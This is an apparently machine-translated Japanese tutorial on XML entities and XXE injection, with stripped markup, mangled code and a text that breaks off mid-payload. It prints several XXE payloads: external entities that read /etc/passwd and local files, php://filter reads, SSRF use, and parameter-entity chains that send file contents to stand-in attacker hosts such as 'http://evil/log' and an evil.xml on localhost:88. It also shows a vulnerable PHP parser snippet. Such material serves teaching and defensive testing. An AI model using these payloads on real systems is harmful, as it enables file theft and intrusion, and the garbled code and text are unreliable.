### XMLおよびXXE注入の基本
1.xml定義
XMLは、次の3つの部分で構成されています。つまり、ドキュメントタイプ定義(DTD)、つまりXMLレイアウト言語。拡張可能なスタイル言語(XSL)、つまりXMLスタイルのシート言語。および拡張可能なリンク言語(XLL)。
XML:標準のユニバーサルマークアップ言語のサブセットである拡張可能なマークアップ言語は、電子ファイルをマークして構造的にするために使用されるマークアップ言語です。 (データを保存するのではなく)データを送信および保存するように設計されており、拡張可能なマークアップ言語は、ハイパーテキストマークアップ言語によく似たマークアップ言語です。その設計は、データを送信することではなく、データを送信することです。そのタグは事前に定義されていません。タグを自分で定義する必要があります。それは自己記述的であるように設計されています。これは、W3Cに推奨される標準です。
拡張可能なマークアップ言語(XML)およびハイパーテキストマークアップ言語(HTML)は、さまざまな目的で設計されています
データのコンテンツに焦点を当てて、データを送信および保存するように設計されています。
ハイパーテキストマークアップ言語は、データの外観に焦点を当てたデータを表示するように設計されています
2。 XML
の役割XMLは、要素と属性を使用してデータを説明します。データ転送中、XMLは常に親/子関係などのデータ構造を保持します。いくつかのアプリケーションは、従来の文字列の解析または分解プロセスなしで、同じXMLファイルを共有および解析できます。それどころか、通常のファイルは各データセグメントを説明せず(ヘッダーファイルを除く)、データ関係構造を保持しません。 XMLデータには、XMLデータに場所(通常のファイルなど)または要素名(データベースから)を使用してアクセスできるため、データ交換にXMLを使用すると、アプリケーションがより柔軟になります。
XMLドキュメント構造には、XML宣言、DTDドキュメントタイプ定義(オプション)、ドキュメント要素が含まれます
?xmlバージョン='1.0'エンコード='utf-8'?
! - ⬆xmlステートメント⬆ -
!doctypeファイル名[
!エンティティエンティティ名「エンティティコンテンツ」
]
! - ⬆documentタイプ定義(dtd)⬆ -
要素名カテゴリ='属性'
テキストまたはその他の要素
/要素名
! - ⬆documentelement⬆---
3.xml形式の説明
XMLは、電子ファイルをマークして構造的にするために使用されます。データをマークし、データ型を定義するために使用できます。これは、ユーザーが独自のマークアップ言語を定義できるソース言語です。 XMLドキュメント構造には、XML宣言、DTDドキュメントタイプ定義(オプション)、およびドキュメント要素が含まれます。
DTD(ドキュメントタイプ定義)の役割は、XMLドキュメントの法的ビルディングブロックを定義することです。 DTDは、XMLドキュメントで宣言したり、外部で参照することもできます。
(1)内部ステートメントdtd
!Doctypeルート要素[要素宣言]
(2)引用外部DTD
!doctypeルート要素システム「ファイル名」または
!doctype root element public 'public_id'
'ファイル名'
DTDエンティティは、通常のテキストまたは特殊文字を参照するショートカットを定義するために使用される変数であり、内部または外部で宣言できます。
(3)DTDエンティティ
l dtd
の役割DTD(ドキュメントタイプ定義)の関数は、XMLドキュメントの法的構成要素を定義することです。 DTDは、XMLドキュメントで宣言したり、外部で参照されたりできます。
外部エンティティは、XMLプロセッサが解析する必要があるデータを指します。複数のドキュメント間で共有された公開参照を作成するのに役立ちます。外部エンティティに加えられた変更は、それへの参照を含むドキュメントで自動的に更新されます。つまり、XMLは外部エンティティを使用して情報または「コンテンツ」をXMLドキュメントの本文に自動的に抽出します。これを行うには、XMLドキュメント内の外部エンティティを宣言する必要があります
DTDエンティティは、通常のテキストまたは特殊文字を参照するショートカットを定義するために使用される変数であり、内部または外部で宣言できます。内部的にその値を決定できます(内部サブセット):
または外部ソースから:(外部サブセット):
システム識別子がそこにないことに注意してください。この識別子は、エンティティが外部ソース、この場合は「Site.com」の下のページからコンテンツを取得することを意味します。
これらのエンティティを宣言するには、ドキュメントタイプ定義(DTD)でそれを行う必要があります。 DTDは、XMLのドキュメントタイプを定義するために使用されるタグ宣言のセットです。 XMLドキュメントの法的構造ブロックと、法的要素と属性のリストを備えたドキュメント構造を定義します。 DTDは、XMLドキュメント内または外部参照宣言として宣言できます。システム識別子を使用して、解析可能な場所の別の宣言セットを指すことができます。エンティティはシステムキーワードを使用して外部リソースを呼び出すことができます。ここでは、HTTP;ファイルなどなどの多くのプロトコルをサポートし、他のDOMノードでは:Testを使用できます。このエンティティのコンテンツを参照します。
次に、解析されたXMLが製品機能設計で外側によって制御されている場合、ファイルの読み取り、DOS、CSRFなどの脆弱性を形成する可能性があります。
外部リソースを参照する場合は、さまざまなプロトコルを使用できます。いくつかの例:
file: ///path/to/file.ext
http://url/file.ext
Php: //filter/read=convert.base64-encode/resource=conf.php
DTDのシステム識別子を持つエンティティであるDTDの例を見てみましょう。
l内部宣言エンティティ
DTDエンティティは、通常のテキストまたは特殊文字を参照するショートカットを定義するために使用される変数であり、内部または外部で宣言できます。
内部エンティティステートメント
!エンティティエンティティ名「エンティティ値」
例
DTD:
!エンティティライター「私」
XML:
AuthorWriter;/著者
注:エンティティは、3つのパート:の合計番号()、エンティティ名、およびセミコロン(;)で構成されています。
l外部エンティティの引用
外部エンティティステートメント
!エンティティエンティティ名システム「uri/url」
または
!エンティティエンティティ名public_id '
「ウリ」
例
DTD:
!エンティティライターシステム
'http://example.com/dtd/writer.dtd '
XML:
AuthorWriter;/著者
外部エンティティタイプにはあります
(4)cdata
CDATAとは、XMLパーサーで解析されるべきではないテキストデータ(未散布されていない文字データ)を指します。
XML要素では、「
(新しい要素の始まり)と ''(キャラクターエンティティの始まり)は違法です。
JavaScriptコードなどの一部のテキストには、多数の「または」文字が含まれています。エラーを回避するために、スクリプトコードはCDATAとして定義できます。
CDATAセクションのすべては、パーサーによって無視されます。
部分的にcdata
'![cdata [' Starts、end by ']]'
4.xmlエンティティ
XMLのエンティティは、次の5つのタイプに分割されます:名前付きエンティティ、外部エンティティ、パラメーターエンティティ、内部エンティティ、通常のエンティティ、およびパラメーターエンティティはすべて、内部エンティティと外部エンティティに分割されます。外部エンティティの定義は、システムキーワードで追加する必要があり、そのコンテンツはURLによって指摘された外部ファイルの実際のコンテンツです。システムキーワードが追加されていない場合、それは内部エンティティであり、エンティティがコンテンツを文字列として参照することを示します。
(1)文字エンティティ
は、小数文字(#aaa;)または16進形式(#xaaa;)でユニコード文字を指定することを指します。 XMLパーサーの場合、文字エンティティは、指定された文字に直接入力することとまったく同じです。
(2)名前付きエンティティ
内部エンティティとも呼ばれ、DTDまたは内部サブセットで宣言されている(つまり、ドキュメントの!Doctypeステートメントの一部)、ドキュメントの参照として使用されます。 XMLドキュメントの解析中、エンティティの参照はその表現に置き換えられます。
?xmlバージョン='1.0'エンコード='utf-8'?
!doctype any [
!エンティティXXEシステム 'file: ///c: //test/1.txt']
valueExxe;/value
?xmlバージョン='1.0'エンコード='utf-8'?
!doctype any [
!エンティティXXEシステム 'http://otherhost/xxxx.php']
valueExxe;/value
XXE+SSRFとして使用できます
(3)外部エンティティ
外部エンティティは、システムキーワードで表される外部ファイルのコンテンツを表します。
!エンティティテストシステム '1.xml'
一部のXMLドキュメントには、システム識別子によって定義された「エンティティ」が含まれており、Doctypeヘッダータグにレンダリングされています。これらの定義された「エンティティ」は、ローカルまたはリモートコンテンツにアクセスできます。たとえば、次のXMLドキュメントサンプルにはXML「エンティティ」が含まれています。
?xmlバージョン='1.0'エンコード='utf-8'?
!doctype何でも[
!Entity EntityEx System 'file: ///etc/passwd'
]
abcentityex;/abc
上記のコードでは、XML外部エンティティ「EntityEx」に割り当てられた値は、file: //etc/passwdです。 XMLドキュメントの解析中、エンティティ「EntityEx」の値は、URI(File: //など)コンテンツ値(つまり、PassWDファイルのコンテンツ)に置き換えられます。キーワード「システム」は、XMLパーサーに、「EntityEx」エンティティの値がURIから読み取り、EntityExが表示される読み取りコンテンツを置き換えることを伝えます。
システムの背後にあるコンテンツをユーザーが制御できる場合、ユーザーは自由に他のコンテンツに置き換えることができ、サーバーローカルファイル(file: ///など)またはリモートファイル(http://www.baidu.com/abc.txt)を読み取ることができます。
(4)パラメーターエンティティ
パラメーターエンティティは、ドキュメントのDTDおよび内部サブセットでのみ使用されます。 XMLの仕様定義では、パラメーターエンティティはDTDでのみ参照できます。パラメーターエンティティの宣言と参照はすべて、パーセントサインに基づいています。パラメーターエンティティへの参照はDTDで理解され、解析され、置換テキストはDTDの一部になります。このタイプのエンティティは、「%」文字(または%16進エンコード)で宣言され、解析と検証後のDTDのテキストまたはその他のコンテンツを置き換えるためにのみ使用されます。
!エンティティ%エンティティ名「エンティティ」
または
!エンティティ%エンティティ名システム「URI」
パラメーターエンティティはDTDファイルでのみ参照でき、他のエンティティはXMLドキュメントで参照されます。つまり、次の例では、パラメーターエンティティはDoctype内にあり、他のエンティティは外にあります
!doctype a [
!entity%name system "file: ///etc/passwd"
%名前;
]
パラメーターエンティティは、内部XMLエンティティよりもDTDでより高い解析優先度を持っています
エンティティは、nameに割り当てられた変数「file: ///etc/passwd」に相当します
最初に簡単なXML使用率コードを書き、例:としてPHPを取ります
?php
$ data=
file_get_contents( 'php: //input');
$ xml=
Simplexml_load_string($ data);
echo $ xml-name;
?
echo $ xml-name; -Nameは任意に変更できます。
以下に示すように、
パラメーターエンティティの例:
!エンティティエンティティ名「エンティティ値」
?xmlバージョン='1.0'
encoding='utf-8'?
!doctype root [
!エンティティ%param1 '!エンティティ
内部'http://evil.com' '
%param1;
]
根
テスト[これは私のサイトです]
内部;/テスト
/根
のように:
!エンティティ%AAA
'233 '
パラメーターエンティティPARAM1には、テストタグのエンティティ参照パラメーターを置き換えるために使用される内部エンティティの宣言が含まれています。
ここでは、プロセスに注意を払う必要があります。 DTDのパラメーターエンティティの解析は、XMLテキストでの内部エンティティの解析よりも優先されます。
パラメーターエンティティにはいくつかの特性があり、これらの特性は、使用できる程度も決定します。
l DTD内のみ
今引用してください
lエンティティネスト
(5)内部エンティティ
ビルトインエンティティは、次のような予約されたエンティティです。
エンティティの引用文字
lt;
GT;
アンプ;
quot; '
アポス; '
内部エンティティとは、1つのエンティティ、つまりネストされた定義で定義されている別のエンティティを指します。
幸いなことに、エンティティのネストの場合に関しては、DTDは奇数と二重引用符をサポートしているため、奇数と二重引用の間隔を通じてネストされたエンティティとエンティティ間の関係を区別するために使用できます。実際に使用すると、通常、別のパラメーターエンティティをネストする必要があり、%番号を次のように処理する必要があります。
!エンティティ%param1
'!entity%xxeシステム' http://evil/log?%ペイロード; ' '
「また、16進数として書くことができます」
さらに:内部エンティティに対するこのサポートがインタープリターに依存するかどうかは、リンク4を参照してください
(6)エンティティの命名 +外部エンティティライティング
?XMLバージョン='1.0'エンコード='UTF-8'?
!doctype root [
!エンティティDTDシステム 'http://LOCALHOST:88/EVIL.XML'
]
valuedtd;/value
この名前のエンティティは、外部エンティティを呼び出し、エンティティを邪悪な.xmlで定義できないことを発見します。そうしないと、解析できません。指定されたエンティティは役に立たないように感じ、パラメーターエンティティははるかに使いやすいように感じます
(7)最初のタイプのネーミングエンティティ +外部エンティティ +パラメーターエンティティライティング
?XMLバージョン='1.0'エンコード='UTF-8'?
!doctypeデータ[
!エンティティ%ファイルシステム 'file: ///c: //test/1.txt'
!エンティティ%DTDシステム 'http://LOCALHOST:88/EVIL.XML'
%DTD; %全て;
]
ValueEnd;/value
Evil.xmlファイルのコンテンツはです
!エンティティ%all '!エンティティはシステムを送信しますhttp://LOCALHOST:88%ファイル;' '
呼び出しプロセスは次のとおりです。パラメーターエンティティDTDは、外部エンティティのvily.xmlを呼び出してから、パラメーターエンティティをすべて呼び出してから、名前付きエンティティ送信を呼び出します
(8)ネーミングエンティティ +外部エンティティ +パラメーターエンティティライティングの2番目のタイプ
?XMLバージョン='1.0'エンコード='UTF-8'?
!doctype root [
!エンティティ%ファイルシステム 'Php: //filter/convert.base64-encode/resource=c:/test/1.txt'
!エンティティ%DTDシステム 'http://LOCALHOST:88/EVIL.XML'
%DTD;
%送信;
]
ルート/ルート
Evil.xmlファイルのコンテンツは次のとおりです。
!エンティティ%ペイロード '!エンティティ#x25;システム 'http://LocalHost:88/?content=%file;' '%ペイロード;
コールプロセスは、最初の方法に似ています
5。 XML
のプロトコルサポート
上記の写真は、デフォルトのサポートプロトコルを示しており、サポートされているPHPなどの他の拡張プロトコルもサポートできます。
6.xxeインジェクションの定義
XXE注入、つまりXML外部エンティティ、XML外部エンティティ注入。 XMLエンティティを介して、「システム」キーワードにより、XMLパーサーはローカルファイルまたはリモートURIからデータを読み取ります。したがって、攻撃者はXMLエンティティを介して構築した悪意のある価値を渡すことができ、ハンドラーはそれを解析します。外部のエンティティを参照する場合、悪意のあるコンテンツを構築することにより、任意のファイルの読み取り、システムコマンドの実行、イントラネットポートの検出、イントラネットのWebサイトの攻撃などの危険につながる可能性があります。
1つまたは複数のXMLドキュメントで特定のデータを頻繁に使用するエンティティエンティティは、このデータ、つまりエンティティの「エイリアス」を事前に定義し、これらのドキュメントでデータが必要な場所でそれを呼び出すことができます。 XMLは、XMLドキュメントで使用される2つのタイプのエンティティを定義します
PHPで、libxml_disable_entity_loaderをTrueに設定すると、外部エンティティの注釈が無効になります。 DTDファイルに使用する別のパラメーターを入力します。エンティティ定義構文:
!doctypeファイル名[
!エンティティエンティティ名「エンティティコンテンツ」
]
定義されたエンティティは、「エンティティ名」を介してドキュメントで使用されます。例えば:
?xmlバージョン='1.0'エンコード='utf-8'?
!doctypeブックリスト[
!エンティティパブリッシャー「ABC Company」
]
ブックリスト
本
nameajax/name
価格$ 5.95/価格
ajax./descriptionの説明
PublisherPublisher;/Publisherここの出版社は「ABC Company」に置き換えられます
/本
本
nameajaxパターン/名前
価格$ 7.95/価格
説明ajax patterns./descriptionの導入
PublisherPublisher;/Publisherここの出版社は「ABC Company」に置き換えられます
/本
/ブックリスト
XMLには5つの事前定義されたエンティティ参照があります。
lt;
未満
GT;
より大きい
アンプ;
と番号
アポス;
'
省略記号
quot;
'
引用符
注:厳密に言えば、XMLにキャラクターと ''のみを持つことは違法です。 Ellipsis、引用、および法的よりも大きいが、それらをエンティティ参照に置き換えることは良い習慣です。
7.xxe脆弱性原理
XMLは外部からDTDファイルを読み取ることができるため、パスを別のファイルのパスに置き換えると、サーバーはXMLを解析するときにシステムの前にそのファイルのコンテンツをルート要素に割り当てると考えました。 XMLに表示する前にルート要素のコンテンツを許可する限り、そのファイルのコンテンツを読むことができます。これにより、任意のファイルを読み取る脆弱性が作成されます。
イントラネットホストのポートを指している場合はどうなりますか?エラーメッセージが指定されるかどうかにかかわらず、イントラネットホストのポートがエラーメッセージから開いているかどうかを判断できます。これにより、内部ポートが検出される問題が作成されます。さらに、一般的に言えば、サーバーがXMLを解析する2つの方法があります。 1つは、解析のために一度にXML全体をメモリにロードすることです。もう1つは、パーツを「ストリーミング」部分でロードして解析することです。 XML定義を再帰的に呼び出して膨大な量の定義を一度に呼び出すと、サーバーのメモリが消費され、サービス攻撃の拒否が生じます。
### XML注入の簡単な利用
ローカルXMLインターフェイスを構築し、最初にローカルXMLファイルを含め、リターン結果を表示し、次に通常の返品後にサーバーに置き換えます。
1。ファイルを読む
次のようにペイロード:
?xmlバージョン='1.0'エンコード='utf-8'?
!doctype xxe [
!要素名任意
!エンティティXXEシステム 'File: ///D: //PHPSTUDY //www //aa。